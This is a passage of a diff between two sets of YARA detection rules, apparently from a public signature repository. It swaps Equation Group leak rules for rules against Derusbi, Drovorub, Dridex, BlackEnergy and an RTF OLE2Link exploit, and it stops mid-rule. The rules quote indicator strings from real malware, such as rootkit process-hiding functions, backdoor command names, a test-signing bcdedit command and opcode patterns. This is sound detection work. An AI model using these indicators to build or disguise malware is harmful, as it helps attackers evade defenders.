+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turbo_campaign.yar#L51-L83"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fab37e2dbe05c694da6e428aa922747b276c2827cbbd2b6c8002f0cc30c2870c"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "66ff332f84690642f4e05891a15bf0c9783be2a64edb2ef2d04c9205b47deb19"
 
 	strings:
-		$x1 = "-xd = dump archive data & store in scancodes.txt" fullword ascii
-		$x2 = "-------- driver start token -------" fullword wide
-		$x3 = "-------- keystart token -------" fullword wide
-		$x4 = "-xta = same as -xt but show special chars & store in keys_all.txt" fullword ascii
+		$s1 = "__this_module"
+		$s2 = "init_module"
+		$s3 = "unhide_pid"
+		$s4 = "is_hidden_pid"
+		$s5 = "clear_hidden_pid"
+		$s6 = "hide_pid"
+		$s7 = "license"
+		$s8 = "description"
+		$s9 = "srcversion="
+		$s10 = "depends="
+		$s12 = "vermagic="
+		$s13 = "current_task"
+		$s14 = "sock_release"
+		$s15 = "module_layout"
+		$s16 = "init_uts_ns"
+		$s17 = "init_net"
+		$s18 = "init_task"
+		$s19 = "filp_open"
+		$s20 = "__netlink_kernel_create"
+		$s21 = "kfree_skb"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <800KB and 2 of them )
+		uint32(0)==0x464c457f and all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Aduser_Implant : FILE
+rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_Linux_Sharedmemcreation_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "4ba152c8-aa81-5558-8ad3-c62aa3231dab"
-		date = "2017-04-15"
+		description = "Detects Derusbi Backdoor ELF Shared Memory Creation"
+		author = "Fidelis Cybersecurity"
+		id = "068b7bea-853d-57e8-a9fe-8b451dbc7582"
+		date = "2016-02-29"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2072-L2086"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "d378773f4acd850e5a8d92d6cce84d57f659330edc025565cf4bc34afb0a6ae6"
+		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turbo_campaign.yar#L85-L96"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "adbdccea9ea7aefcca18d659c027a49e7e2e053873b77ddaf369203b3e301033"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fd2efb226969bc82e2e38769a10a8a751138db69f4594a8de4b3c0522d4d885f"
 
 	strings:
-		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
-		$s2 = "(&(objectCategory=person)(objectClass=user)(cn=" fullword wide
+		$byte1 = { B6 03 00 00 ?? 40 00 00 00 ?? 0D 5F 01 82 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and all of them )
+		uint32(0)==0x464C457F and any of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Remoteexecute_Implant : FILE
+rule SIGNATURE_BASE_Apt_Nix_Elf_Derusbi_Linux_Strings_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "5fa5ff71-42fa-58e2-a826-341fb73ea08a"
-		date = "2017-04-15"
+		description = "Detects Derusbi Backdoor ELF Strings"
+		author = "Fidelis Cybersecurity"
+		id = "06717cc9-678d-5912-a671-65605b9c9968"
+		date = "2016-02-29"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2088-L2112"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "aa46cb188ba820199c013633ade72ab1c8bea316384042e9e3b5098c439841a5"
+		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turbo_campaign.yar#L98-L128"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b54b406a562247d4c3d4a9c4d1b7584bdcecfe5b6c76867c04770e016eeb8c9a"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "770663c07c519677316934cf482e500a73540d9933342c425f3e56258e6e6d8b"
 
 	strings:
-		$op1 = { 53 00 63 00 68 00 65 00 64 00 75 00 6C 00 65 00
-               00 00 00 00 53 00 65 00 72 00 76 00 69 00 63 00
-               65 00 73 00 41 00 63 00 74 00 69 00 76 00 65 00
-               00 00 00 00 FF FF FF FF 00 00 00 00 B0 17 00 68
-               5C 00 70 00 69 00 70 00 65 00 5C 00 53 00 65 00
-               63 00 6F 00 6E 00 64 00 61 00 72 00 79 00 4C 00
-               6F 00 67 00 6F 00 6E 00 00 00 00 00 5C 00 00 00
-               57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C 00
-               44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00 00
-               6E 00 63 00 61 00 63 00 6E 00 5F 00 6E 00 70 00
-               00 00 00 00 5C 00 70 00 69 00 70 00 65 00 5C 00
-               53 00 45 00 43 00 4C 00 4F 00 47 00 4F 00 4E }
+		$a1 = "loadso" wide ascii fullword
+		$a2 = "\nuname -a\n\n" wide ascii
+		$a3 = "/dev/shm/.x11.id" wide ascii
+		$a4 = "LxMain64" wide ascii nocase
+		$a5 = "# \\u@\\h:\\w \\$ " wide ascii
+		$b1 = "0123456789abcdefghijklmnopqrstuvwxyz" wide
+		$b2 = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ" wide
+		$b3 = "ret %d" wide fullword
+		$b4 = "uname -a\n\n" wide ascii
+		$b5 = "/proc/%u/cmdline" wide ascii
+		$b6 = "/proc/self/exe" wide ascii
+		$b7 = "cp -a %s %s" wide ascii
+		$c1 = "/dev/pts/4" wide ascii fullword
+		$c2 = "/tmp/1408.log" wide ascii fullword
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <40KB and all of them )
+		uint32(0)==0x464C457F and ((1 of ($a*) and 4 of ($b*)) or (1 of ($a*) and 1 of ($c*)) or 2 of ($a*) or all of ($b*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Banner_Implant9X : FILE
+rule SIGNATURE_BASE_Apt_Win_Exe_Trojan_Derusbi_1 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7cbb509e-2a91-5e3c-8d19-61fda797cd8c"
-		date = "2017-04-15"
+		description = "Detects Derusbi Backdoor Win32"
+		author = "Fidelis Cybersecurity"
+		id = "6e7fecfa-f801-59b2-a394-df4c368011b7"
+		date = "2016-02-29"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2114-L2129"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bda7b8ab097c0a5ca90b05147d4227e5a03735b99633b5081d80d2d72bceba9"
+		reference = "https://github.com/fideliscyber/indicators/tree/master/FTA-1021"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_turbo_campaign.yar#L130-L189"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "02fb4da724b257aef0ec0fecfe5b7a25a23fe4dd5baae0ddd2d21350b9af34e9"
 		score = 75
-		quality = 85
+		quality = 83
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "5d69a8cfc9b636448f023fcf18d111f13a8e6bcb9a693eb96276e0d796ab4e0c"
 
 	strings:
-		$s1 = ".?AVFeFinallyFailure@@" fullword ascii
-		$op1 = { c9 c3 57 8d 85 2c eb ff ff }
+		$sa_4 = "HOST: %s:%d"
+		$sa_6 = "User-Agent: Mozilla"
+		$sa_7 = "Proxy-Connection: Keep-Alive"
+		$sa_8 = "Connection: Keep-Alive"
+		$sa_9 = "Server: Apache"
+		$sa_12 = "ZwUnloadDriver"
+		$sa_13 = "ZwLoadDriver"
+		$sa_18 = "_time64"
+		$sa_19 = "DllRegisterServer"
+		$sa_20 = "DllUnregisterServer"
+		$sa_21 = { 8b [5] 8b ?? d3 ?? 83 ?? 08 30 [5] 40 3b [5] 72 }
+		$sb_1 = "PCC_CMD_PACKET"
+		$sb_2 = "PCC_CMD"
+		$sb_3 = "PCC_BASEMOD"
+		$sb_4 = "PCC_PROXY"
+		$sb_5 = "PCC_SYS"
+		$sb_6 = "PCC_PROCESS"
+		$sb_7 = "PCC_FILE"
+		$sb_8 = "PCC_SOCK"
+		$sc_1 = "bcdedit -set testsigning" wide ascii
+		$sc_2 = "update.microsoft.com" wide ascii
+		$sc_3 = "_crt_debugger_hook" wide ascii
+		$sc_4 = "ue8G5" wide ascii
+		$sd_2 = "\\\\.\\pipe\\%s" wide ascii
+		$sd_3 = ".dat" wide ascii
+		$sd_4 = "CONNECT %s:%d" wide ascii
+		$sd_5 = "\\Device\\" wide ascii
+		$se_1 = "-%s-%04d" wide ascii
+		$se_2 = "-%04d" wide ascii
+		$se_5 = "2.03" wide ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <20KB and all of them )
+		uint16(0)==0x5A4D and ( all of ($sa_*) or ((8 of ($sa_*)) and ((5 of ($sb_*)) or (3 of ($sc_*)) or ( all of ($sd_*)) or (1 of ($sc_*) and all of ($se_*)))))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Greatdoc_Dll_Config : FILE
+rule SIGNATURE_BASE_Malrtf_Ole2Link : EXPLOIT FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "592e4e40-f5cd-5a11-8a1b-0cdcf6f267ec"
-		date = "2017-04-15"
+		description = "Detects weaponized RTF documents with OLE2Link exploit"
+		author = "@h3x2b <tracker _AT h3x.eu>"
+		id = "5080e79a-3abc-5fc3-902e-b362f20510f9"
+		date = "2023-12-05"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2131-L2147"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "edb14cc9e51bbf6b3ca2c52f841edfa3df1ca89b3e7c1b5a59baf3a13be0fc46"
+		reference = "https://github.com/Neo23x0/signature-base"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/exploit_rtf_ole2link.yar#L1-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d7ef764a0006b81c2b50699aa1fccb35c7c7da982cb8d56e02097114468e298f"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "fd9d0abfa727784dd07562656967d220286fc0d63bcf7e2c35d4c02bc2e5fc2e"
+		tags = "EXPLOIT, FILE"
 
 	strings:
-		$x1 = "C:\\Projects\\GREATERDOCTOR\\trunk\\GREATERDOCTOR" ascii
-		$x2 = "src\\build\\Release\\dllConfig\\dllConfig.pdb" ascii
-		$x3 = "GREATERDOCTOR [ commandline args configuration ]" fullword ascii
-		$x4 = "-useage: <scanner> \"<cmdline args>\"" fullword ascii
+		$rtf_olelink_01 = "\\objdata" nocase
+		$rtf_olelink_02 = "4f4c45324c696e6b" nocase
+		$rtf_olelink_03 = "d0cf11e0a1b11ae1" nocase
+		$rtf_payload_01 = "68007400740070003a002f002f00" nocase
+		$rtf_payload_02 = "680074007400700073003a002f002f00" nocase
+		$rtf_payload_03 = "6600740070003a002f002f00" nocase
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 1 of them )
+		uint32be(0)==0x7B5C7274 and all of ($rtf_olelink_*) and any of ($rtf_payload_*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Scanner : FILE
+rule SIGNATURE_BASE_APT_APT28_Generic_Poco_Openssl
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "603c82d0-2e65-5353-a109-5f69697cffa4"
-		date = "2017-04-15"
+		description = "Rule to detect statically linked POCO and OpenSSL libraries (COULD be Drovorub related and should be further investigated)"
+		author = "NSA / FBI"
+		id = "b6d2477b-c9a2-5858-87cf-aa006109bc8f"
+		date = "2020-08-13"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2149-L2166"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7f2ee4ac260b78764573187c501ed27fbfdf573e618f15dbd307177afa670605"
-		score = 75
+		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28_drovorub.yar#L1-L21"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b6a78c358b3aee6b172ec29e72ce810c6fbf332f180d5879f0889f47688225e1"
+		score = 50
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "f180bdb247687ea9f1b58aded225d5c80a13327422cd1e0515ea891166372c53"
+		tags = ""
 
 	strings:
-		$x1 = "+daemon_version,system,processor,refid,clock" fullword ascii
-		$x2 = "Usage: %s typeofscan IP_address" fullword ascii
-		$x3 = "# scanning ip  %d.%d.%d.%d" fullword ascii
-		$x4 = "Welcome to the network scanning tool" fullword ascii
-		$x5 = "***** %s ***** (length %d)" fullword ascii
+		$mw1 = { 89 F1 48 89 FE 48 89 D7 48 F7 C6 FF FF FF FF 0F 84 6B 02 00 00 48 F7 C7
+                 FF FF FF FF 0F 84 5E 02 00 00 48 8D 2D }
+		$mw2 = { 41 54 49 89 D4 55 53 F6 47 19 04 48 8B 2E 75 08 31 DB F6 45 00 03 75 }
+		$mw3 = { 85C0BA15000000750989D05BC30F1F44 0000BE }
+		$mw4 = { 53 8A 47 08 3C 06 74 21 84 C0 74 1D 3C 07 74 20 B9 ?? ?? ?? ?? BA FD 03
+                 00 00 BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 E8 06 3C 01 77 2B 48 8B 1F 48 8B 73
+                 10 48 89 DF E8 ?? ?? ?? ?? 48 8D 43 08 48 C7 43 10 00 00 00 00 48 C7 43 28 00 00 00 00 48
+                 89 43 18 48 89 43 20 5B C3 }
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <90KB and 1 of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Mcl_Ntmemory_Std : FILE
+rule SIGNATURE_BASE_APT_APT28_Drovorub_Library_And_Unique_Strings : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "608218a8-7642-5ec4-8c07-87248649f022"
-		date = "2017-04-15"
+		description = "Rule to detect Drovorub-server, Drovorub-agent, and Drovorub-client"
+		author = "NSA / FBI"
+		id = "8e010356-09c7-5897-9cbe-051cd0800502"
+		date = "2020-08-13"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2168-L2183"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5d3c76cf0ca0f798e1ca3c0a1b88c3bb425f1c36439842c4c33247dfcb44a877"
+		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28_drovorub.yar#L23-L42"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "adb0d4cb6d589213e6a125d3cc20fcea8164b697bdd24d897ce75e7c7f06120a"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "087db4f2dbf8e0679de421fec8fb2e6dd50625112eb232e4acc1408cc0bcd2d7"
 
 	strings:
-		$op1 = { 44 24 37 50 c6 44 24 38 72 c6 44 }
-		$op2 = { 44 24 33 6f c6 44 24 34 77 c6 }
-		$op3 = { 3b 65 c6 44 24 3c 73 c6 44 24 3d 73 c6 44 24 3e }
+		$s1 = "Poco" ascii wide
+		$s2 = "Json" ascii wide
+		$s3 = "OpenSSL" ascii wide
+		$a1 = "clientid" ascii wide
+		$a2 = "-----BEGIN" ascii wide
+		$a3 = "-----END" ascii wide
+		$a4 = "tunnel" ascii wide
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <300KB and all of them )
+		( filesize >1MB and filesize <10MB and ( uint32(0)==0x464c457f)) and (#s1>20 and #s2>15 and #s3>15 and all of ($a*))
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Tacothief : FILE
+rule SIGNATURE_BASE_APT_APT28_Drovorub_Unique_Network_Comms_Strings
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "7be7ca05-c2c7-5a7d-8b1b-e6741b4397b9"
-		date = "2017-04-15"
+		description = "Rule to detect Drovorub-server, Drovorub-agent, or Drovorub-client based"
+		author = "NSA / FBI"
+		id = "c6a930e8-c1c0-5d96-9051-7516df848b45"
+		date = "2020-08-13"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2185-L2198"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "565d94ac0dd65de0926d11ae08ee78f14dcb211ca97c77c39f394fb36890fc6f"
+		reference = "https://www.nsa.gov/news-features/press-room/Article/2311407/nsa-and-fbi-expose-russian-previously-undisclosed-malware-drovorub-in-cybersecu/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_apt28_drovorub.yar#L44-L72"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c82766b76c36fe64c6aa99577e1997d7181dbd36a4c27329845ae8a413f5327"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "c71953cc84c27dc61df8f6f452c870a7880a204e9e21d9fd006a5c023b052b35"
+		tags = ""
 
 	strings:
-		$x1 = "File too large!  Must be less than 655360 bytes." fullword ascii
+		$s_01 = "action" wide ascii
+		$s_02 = "auth.commit" wide ascii
+		$s_03 = "auth.hello" wide ascii
+		$s_04 = "auth.login" wide ascii
+		$s_05 = "auth.pending" wide ascii
+		$s_06 = "client_id" wide ascii
+		$s_07 = "client_login" wide ascii
+		$s_08 = "client_pass" wide ascii
+		$s_09 = "clientid" wide ascii
+		$s_10 = "clientkey_base64" wide ascii
+		$s_11 = "file_list_request" wide ascii
+		$s_12 = "module_list_request" wide ascii
+		$s_13 = "monitor" wide ascii
+		$s_14 = "net_list_request" wide ascii
+		$s_15 = "server finished" wide ascii
+		$s_16 = "serverid" wide ascii
+		$s_17 = "tunnel" wide ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <100KB and all of them )
+		all of them
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Ntevt : FILE
+rule SIGNATURE_BASE_Dridex_Trojan_XML
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
-		author = "Florian Roth (Nextron Systems)"
-		id = "fd25f703-ff3e-5e75-b1eb-24a658a1ac8e"
-		date = "2017-04-15"
+		description = "Dridex Malware in XML Document"
+		author = "Florian Roth (Nextron Systems) @4nc4p"
+		id = "a8f3406c-f8b0-559f-be12-6b2a7d401ac2"
+		date = "2015-03-08"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2200-L2219"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "29572cce9af51adf12db019f885f868fd77ff9034a6944a6286a4d2a0988842a"
+		reference = "https://threatpost.com/dridex-banking-trojan-spreading-via-macros-in-xml-files/111503"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/crime_dridex_xml.yar#L1-L23"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "25b6340d782ee20723b2f17f3434a0b27b1561ab22d5a8f859e97e0ac126f651"
 		score = 75
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "4254ee5e688fc09bdc72bcc9c51b1524a2bb25a9fb841feaf03bc7ec1a9975bf"
+		tags = ""
+		hash1 = "88d98e18ed996986d26ce4149ae9b2faee0bc082"
+		hash2 = "3b2d59adadf5ff10829bb5c27961b22611676395"
+		hash3 = "e528671b1b32b3fa2134a088bfab1ba46b468514"
+		hash4 = "981369cd53c022b434ee6d380aa9884459b63350"
+		hash5 = "96e1e7383457293a9b8f2c75270b58da0e630bea"
 
 	strings:
-		$x1 = "c:\\ntevt.pdb" fullword ascii
-		$s1 = "ARASPVU" fullword ascii
-		$op1 = { 41 5a 41 59 41 58 5f 5e 5d 5a 59 5b 58 48 83 c4 }
-		$op2 = { f9 48 03 fa 48 33 c0 8a 01 49 03 c1 49 f7 e0 88 }
-		$op3 = { 01 41 f6 e0 49 03 c1 88 01 48 33 }
+		$c_xml = "<?xml version="
+		$c_word = "<?mso-application progid=\"Word.Document\"?>"
+		$c_macro = "w:macrosPresent=\"yes\""
+		$c_binary = "<w:binData w:name="
+		$c_0_chars = "<o:Characters>0</o:Characters>"
+		$c_1_line = "<o:Lines>1</o:Lines>"
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <700KB and $x1 or 3 of them )
+		all of ($c*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_Processes_Target : FILE
+rule SIGNATURE_BASE_Blackenergy_BE_2 : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects BlackEnergy 2 Malware"
 		author = "Florian Roth (Nextron Systems)"
-		id = "1b910f46-5d19-5ecd-9647-10ee9ee7b012"
-		date = "2017-04-15"
+		id = "c93991b9-77e8-5a73-80ef-e21df770c3a5"
+		date = "2015-02-19"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2221-L2236"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "e9e26224b7eafc999c9638d4591a45297e3293b0e90e63c2d207ee52848c4ce2"
+		reference = "http://goo.gl/DThzLz"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L8-L25"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "983cfcf3aaaeff1ad82eb70f77088ad6ccedee77"
+		logic_hash = "77ecab353063bf8be5ec70294f8497234af8ddd944e0b207d8d633f59f76dbb6"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "69cf7643dbecc5f9b4b29edfda6c0295bc782f0e438f19be8338426f30b4cc74"
 
 	strings:
-		$s1 = "Select * from Win32_Process" fullword ascii
-		$s3 = "\\\\%ls\\root\\cimv2" fullword wide
-		$s5 = "%4ls%2ls%2ls%2ls%2ls%2ls.%11l[0-9]%1l[+-]%6s" fullword wide
+		$s0 = "<description> Windows system utility service  </description>" fullword ascii
+		$s1 = "WindowsSysUtility - Unicode" fullword wide
+		$s2 = "msiexec.exe" fullword wide
+		$s3 = "WinHelpW" fullword ascii
+		$s4 = "ReadProcessMemory" fullword ascii
 
 	condition:
-		( uint16(0)==0x5a4d and filesize <200KB and 2 of them )
+		uint16(0)==0x5a4d and filesize <250KB and all of ($s*)
 }
-rule SIGNATURE_BASE_Equationgroup_Toolset_Apr17_St_Lp : FILE
+rule SIGNATURE_BASE_Blackenergy_VBS_Agent : FILE
 {
 	meta:
-		description = "Detects EquationGroup Tool - April Leak"
+		description = "Detects VBS Agent from BlackEnergy Report - file Dropbearrun.vbs"
 		author = "Florian Roth (Nextron Systems)"
-		id = "2d4ee801-c7f4-5476-8368-89aa2863ba96"
-		date = "2017-04-15"
+		id = "0876f752-d476-5706-918e-edfda9bd7928"
+		date = "2016-01-03"
 		modified = "2023-12-05"
-		reference = "https://steemit.com/shadowbrokers/@theshadowbrokers/lost-in-translation"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_eqgrp_apr17.yar#L2238-L2254"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "38a48a931856e0eb8e16b7902f5e494b50f8895d4221b5359fc3339d1b52eb8e"
+		reference = "http://feedproxy.google.com/~r/eset/blog/~3/BXJbnGSvEFc/"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_blackenergy.yar#L34-L49"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		hash = "b90f268b5e7f70af1687d9825c09df15908ad3a6978b328dc88f96143a64af0f"
+		logic_hash = "2a0037a76f1031117fe41b2e41691511eb626ffc0c738547eda24f771505bc67"
 		score = 75
 		quality = 85
 		tags = "FILE"
 		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "3b6f756cca096548dcad2b6c241c1dafd16806c060bec82a530f4d38755286a2"
 
 	strings:
-		$x1 = "Previous command: set injection processes (status=0x%x)" fullword ascii
-		$x2 = "Secondary injection process is <null> [no secondary process will be used]" fullword ascii
-		$x3 = "Enter the address to be used as the spoofed IP source address (xxx.xxx.xxx.xxx) -> " fullword ascii
